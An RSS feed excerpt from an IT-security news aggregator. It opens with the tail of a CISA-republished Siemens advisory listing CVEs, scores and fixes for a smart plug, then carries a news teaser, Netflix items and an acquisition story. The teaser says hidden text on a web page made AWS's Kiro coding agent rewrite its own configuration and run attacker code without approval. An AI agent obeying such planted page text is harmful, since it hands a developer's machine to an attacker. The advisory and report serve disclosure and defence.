<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-5222</a></h3>
<div class="csaf-accordion-content">
<p>A stack buffer overflow was found in Internationl components for unicode (ICU ). While running the genrb binary, the 'subtag' struct overflowed at the SRBRoot::addTag function. This issue may lead to memory corruption and local arbitrary code execution.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-5222">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/120.html">CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-5914</a></h3>
<div class="csaf-accordion-content">
<p>A vulnerability has been identified in the libarchive library, specifically within the archive_read_format_rar_seek_data() function. This flaw involves an integer overflow that can ultimately lead to a double-free condition. Exploiting a double-free vulnerability can result in memory corruption, enabling an attacker to execute arbitrary code or cause a denial-of-service condition.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-5914">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9230</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: An application trying to decrypt CMS messages encrypted using password based encryption can trigger an out-of-bounds read and write. Impact summary: This out-of-bounds read may trigger a crash which leads to Denial of Service for an application. The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service or Execution of attacker-supplied code. Although the consequences of a successful exploit of this vulnerability could be severe, the probability that the attacker would be able to perform it is low. Besides, password based (PWRI) encryption support in CMS messages is very rarely used. For that reason the issue was assessed as Moderate severity according to our Security Policy. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-9230">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9231</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: A timing side-channel which could potentially allow remote recovery of the private key exists in the SM2 algorithm implementation on 64 bit ARM platforms. Impact summary: A timing side-channel in SM2 signature computations on 64 bit ARM platforms could allow recovering the private key by an attacker.. While remote key recovery over a network was not attempted by the reporter, timing measurements revealed a timing signal which may allow such an attack. OpenSSL does not directly support certificates with SM2 keys in TLS, and so this CVE is not relevant in most TLS contexts. However, given that it is possible to add support for such certificates via a custom provider, coupled with the fact that in such a custom provider context the private key may be recoverable via remote timing measurements, we consider this to be a Moderate severity issue. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as SM2 is not an approved algorithm.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-9231">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/385.html">CWE-385 Covert Timing Channel</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9232</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: An application using the OpenSSL HTTP client API functions may trigger an out-of-bounds read if the 'no_proxy' environment variable is set and the host portion of the authority component of the HTTP URL is an IPv6 address. Impact summary: An out-of-bounds read can trigger a crash which leads to Denial of Service for an application. The OpenSSL HTTP client API functions can be used directly by applications but they are also used by the OCSP client functions and CMP (Certificate Management Protocol) client implementation in OpenSSL. However the URLs used by these implementations are unlikely to be controlled by an attacker. In this vulnerable code the out of bounds read can only trigger a crash. Furthermore the vulnerability requires an attacker-controlled URL to be passed from an application to the OpenSSL function and the user has to have a 'no_proxy' environment variable set. For the aforementioned reasons the issue was assessed as Low severity. The vulnerable code was introduced in the following patch releases: 3.0.16, 3.1.8, 3.2.4, 3.3.3, 3.4.0 and 3.5.0. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the HTTP client implementation is outside the OpenSSL FIPS module boundary.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-9232">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-26465</a></h3>
<div class="csaf-accordion-content">
<p>A vulnerability was found in OpenSSH when the VerifyHostKeyDNS option is enabled. A machine-in-the-middle attack can be performed by a malicious machine impersonating a legit server. This issue occurs due to how OpenSSH mishandles error codes in specific conditions when verifying the host key. For an attack to be considered successful, the attacker needs to manage to exhaust the client's memory resource first, turning the attack complexity high.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-26465">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/390.html">CWE-390 Detection of Error Condition Without Action</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.8</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N">CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-32462</a></h3>
<div class="csaf-accordion-content">
<p>Sudo before 1.9.17p1, when used with a sudoers file that specifies a host that is neither the current host nor ALL, allows listed users to execute commands on unintended machines.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-32462">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/863.html">CWE-863 Incorrect Authorization</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>2.8</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-5121</a></h3>
<div class="csaf-accordion-content">
<p>A flaw was found in libarchive. On 32-bit systems, an integer overflow vulnerability exists in the zisofs block pointer allocation logic. A remote attacker can exploit this by providing a specially crafted ISO9660 image, which can lead to a heap buffer overflow. This could potentially allow for arbitrary code execution on the affected system.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-5121">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Siemens ProductCERT reported these vulnerabilities to CISA.</li>
</ul>
<hr>
<h2>General Recommendations</h2>
<p>As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity</p>
<hr>
<h2>Additional Resources</h2>
<p>For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories</p>
<hr>
<h2>Terms of Use</h2>
<p>The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.</p>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolate them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<hr>
<h2>Advisory Conversion Disclaimer</h2>
<p>This ICSA is a verbatim republication of Siemens ProductCERT SSA-585531 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.</p>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-14</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-14</td>
<td>1</td>
<td>Publication Date</td>
</tr>
<tr>
<td>2026-07-21</td>
<td>2</td>
<td>Initial CISA Republication of Siemens ProductCERT SSA-585531 advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
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<title><![CDATA[AWS Kiro Flaw Let a Poisoned Web Page Rewrite Its Config and Run Code]]></title>
<description><![CDATA[Hidden text on a web page was enough to make Kiro, AWS’s agentic coding IDE, rewrite its own configuration file and run an attacker’s code on a developer’s machine, with no approval step able to stop it. Intezer, in research…
Read more →
The post AWS Kiro Flaw Let a Poisoned Web Page Rewrite Its ...]]></description>
<link>https://tsecurity.de/de/3684496/it-security-nachrichten/aws-kiro-flaw-let-a-poisoned-web-page-rewrite-its-config-and-run-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684496/it-security-nachrichten/aws-kiro-flaw-let-a-poisoned-web-page-rewrite-its-config-and-run-code/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hidden text on a web page was enough to make Kiro, AWS’s agentic coding IDE, rewrite its own configuration file and run an attacker’s code on a developer’s machine, with no approval step able to stop it. Intezer, in research…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/aws-kiro-flaw-let-a-poisoned-web-page-rewrite-its-config-and-run-code/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/aws-kiro-flaw-let-a-poisoned-web-page-rewrite-its-config-and-run-code/">AWS Kiro Flaw Let a Poisoned Web Page Rewrite Its Config and Run Code</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AWS Kiro Flaw Let a Poisoned Web Page Rewrite Its Config and Run Code]]></title>
<description><![CDATA[Hidden text on a web page was enough to make Kiro, AWS's agentic coding IDE, rewrite its own configuration file and run an attacker's code on a developer's machine, with no approval step able to stop it.

Intezer, in research with Kodem Security, found that a request as ordinary as asking Kiro to...]]></description>
<link>https://tsecurity.de/de/3684414/it-security-nachrichten/aws-kiro-flaw-let-a-poisoned-web-page-rewrite-its-config-and-run-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684414/it-security-nachrichten/aws-kiro-flaw-let-a-poisoned-web-page-rewrite-its-config-and-run-code/</guid>
<pubDate>Tue, 21 Jul 2026 18:54:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Hidden text on a web page was enough to make Kiro, AWS's agentic coding IDE, rewrite its own configuration file and run an attacker's code on a developer's machine, with no approval step able to stop it.

Intezer, in research with Kodem Security, found that a request as ordinary as asking Kiro to summarize a page could end in remote code execution. AWS has patched the issue, and no CVE has been]]></content:encoded>
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<item>
<title><![CDATA[Netflix Reveals First Look at My Brilliant Career, Confirms August Premiere]]></title>
<description><![CDATA[Netflix has released the first trailer and new images from My Brilliant Career, confirming that the Australian period drama will premiere worldwide on August 13, 2026.



My Brilliant Career Brings an Australian Classic to Netflix




https://www.youtube.com/watch?v=WoPbcfUmMYw




The six-part s...]]></description>
<link>https://tsecurity.de/de/3684385/ios-mac-os/netflix-reveals-first-look-at-my-brilliant-career-confirms-august-premiere/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684385/ios-mac-os/netflix-reveals-first-look-at-my-brilliant-career-confirms-august-premiere/</guid>
<pubDate>Tue, 21 Jul 2026 18:42:13 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Netflix has released the first trailer and new images from My Brilliant Career, confirming that the Australian period drama will premiere worldwide on August 13, 2026.



My Brilliant Career Brings an Australian Classic to Netflix




https://www.youtube.com/watch?v=WoPbcfUmMYw




The six-part series adapts Miles Franklin’s influential 1901 novel of the same name. Philippa Northeast leads the cast as Sybylla Melvyn, an ambitious young woman living in rural Australia who dreams of becoming a successful writer.



Sybylla wants to build an independent and exciting life, although her family expects her to follow a more traditional path. Her plans become more complicated after she meets Harry Beecham, a wealthy neighbour who develops strong feelings for her.



Christopher Chung plays Harry, while Anna Chancellor appears as Sybylla’s grandmother, Mrs Bossier. The cast also includes Genevieve O’Reilly as Aunt Helen, Kate Mulvany as Gussie Beecham and Jake Dunn as Frank Hawden. Alexander England, Sherry-Lee Watson and Miah Madden also have supporting roles.



First Look Shows Sybylla’s Fight for Freedom



The first footage introduces Sybylla as outspoken, determined and unwilling to let marriage decide her future. She wants to write stories and experience a larger world, even when the people around her question her choices.



The images also highlight the series’ Australian countryside, grand family homes and detailed period costumes. Production took place across South Australia, including locations near Penola and Adelaide Studios. Around 400 local cast and crew members reportedly worked on the project.



Liz Doran developed and co-wrote the adaptation, with Alyssa McClelland and Anne Renton directing the episodes. The series presents Franklin’s coming-of-age story for a new audience while keeping its focus on ambition, romance and personal freedom.



The novel previously inspired the acclaimed 1979 film starring Judy Davis and Sam Neill. Netflix’s version expands the story across six episodes, giving more time to Sybylla’s family relationships, romantic struggles and determination to choose her own career.



My Brilliant Career premieres August 13, 2026, exclusively on Netflix.]]></content:encoded>
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<item>
<title><![CDATA[Alan Ritchson’s Netflix Sequel Officially Revealed as War Machines]]></title>
<description><![CDATA[Alan Ritchson’s hit Netflix sci-fi movie War Machine is officially moving toward a sequel, and the follow-up now has a title. The second movie will be called War Machines, adding one important letter that hints at a much larger threat.



War Machines Title Confirmed







The title appeared in ...]]></description>
<link>https://tsecurity.de/de/3684264/ios-mac-os/alan-ritchsons-netflix-sequel-officially-revealed-as-war-machines/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684264/ios-mac-os/alan-ritchsons-netflix-sequel-officially-revealed-as-war-machines/</guid>
<pubDate>Tue, 21 Jul 2026 17:59:52 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Alan Ritchson’s hit Netflix sci-fi movie War Machine is officially moving toward a sequel, and the follow-up now has a title. The second movie will be called War Machines, adding one important letter that hints at a much larger threat.



War Machines Title Confirmed







The title appeared in a social media post featuring a black-and-white photograph of the sequel’s script. The image slowly focused on the final “S,” confirming that the new movie will expand beyond the single alien machine featured in the original story.



The name follows a familiar sci-fi sequel pattern, similar to how Alien became Aliens. It also suggests that Ritchson’s character, Staff Sergeant 81, will face several deadly machines when the story continues.



Patrick Hughes and James Beaufort are writing the sequel. Hughes previously directed and co-wrote the first movie, which followed a group of Army Ranger candidates fighting a powerful alien machine during a training exercise.



Alan Ritchson Celebrates the Sequel



Ritchson previously thanked viewers for supporting War Machine and confirmed that he was preparing to return as 81. He described the first movie as the beginning of a much bigger world and suggested that the sequel would raise the scale considerably.



The sequel remains in development, and Netflix has not announced a filming date, full cast list, plot summary, or release date. Production listings indicate that the project will once again involve companies connected to the first film, including Lionsgate and Patrick Hughes’ production partners.



War Machine Was a Huge Netflix Hit



War Machine arrived on Netflix on March 6, 2026, and became the platform’s most-watched film during the first half of the year. It recorded 146.9 million views, finishing ahead of other major Netflix releases.



With the official War Machines title now revealed, more production and casting updates should follow as the sequel moves closer to filming.]]></content:encoded>
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<title><![CDATA[Certinia acquires AI services company Moonnox]]></title>
<description><![CDATA[AI-powered professional services automation provider Certinia has acquired Moonnox, an AI-native automation platform created for the sector. It extends Certinia’s system of action, Veda, offering a new suite of AI agents that automate administration, project management and project deliverables, t...]]></description>
<link>https://tsecurity.de/de/3684173/it-security-nachrichten/certinia-acquires-ai-services-company-moonnox/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684173/it-security-nachrichten/certinia-acquires-ai-services-company-moonnox/</guid>
<pubDate>Tue, 21 Jul 2026 17:30:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AI-powered <a href="https://www.cio.com/article/2092137/certinia-bakes-ai-into-its-latest-professional-services-updates.html">professional services automation</a> provider <a href="https://www.cio.com/article/1258572/certinia-uses-ai-to-accelerate-finance-functions-for-service-companies.html">Certinia</a> has acquired Moonnox, an AI-native automation platform created for the sector. It extends Certinia’s system of action, Veda, offering a new suite of AI agents that automate administration, project management and project deliverables, the company said.</p>



<p class="wp-block-paragraph">The acquisition will add real-time native context capture across applications such as Salesforce, G-Suite, Microsoft 365, Jira, Confluence, Zoom and others, and, unlike point agents, it “spans the full arc from proposal to delivery to renewal, so nothing has to be rebuilt, re-mapped, or re-trusted as work moves from sales to delivery to customer success,” Certinia said.</p>



<p class="wp-block-paragraph">New capabilities in Veda include automatic creation of proposal responses and statements of work, conversion of high-level business requirements into actionable blueprints, providing an on-demand virtual assistant to manage day-to-day tasks, performing scope scans and otherwise monitoring projects to proactively manage risk, and organizing delivery data and lessons learned into a searchable knowledge base for later use.</p>



<p class="wp-block-paragraph">“What excites me most is the combination,” <a href="https://www.linkedin.com/in/robertong8/" target="_blank" rel="noreferrer noopener">Robert Ong</a>, co-founder and CEO of Moonnox, now part of Certinia, said in a statement. “Moonnox’s ability to capture what happens in the room, paired with Certinia’s system of record and agentic capabilities for services operations, closes a gap neither of us could close alone. Together, we give services firms the foundation to capture that value, deliver with confidence, and navigate shifting their operating models into the future.”</p>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/thomas-randall" target="_blank" rel="noreferrer noopener">Thomas Randall</a>, research director at Info-Tech Research Group, said it’s a smart move for Certinia to acquire Moonnox. “The current solution is quite complex to use. What Moonnox offers for Certinia is a way for non-technical staff to navigate their system of record across unstructured data silos. I expect to see an increase in satisfaction for the user experience.”</p>



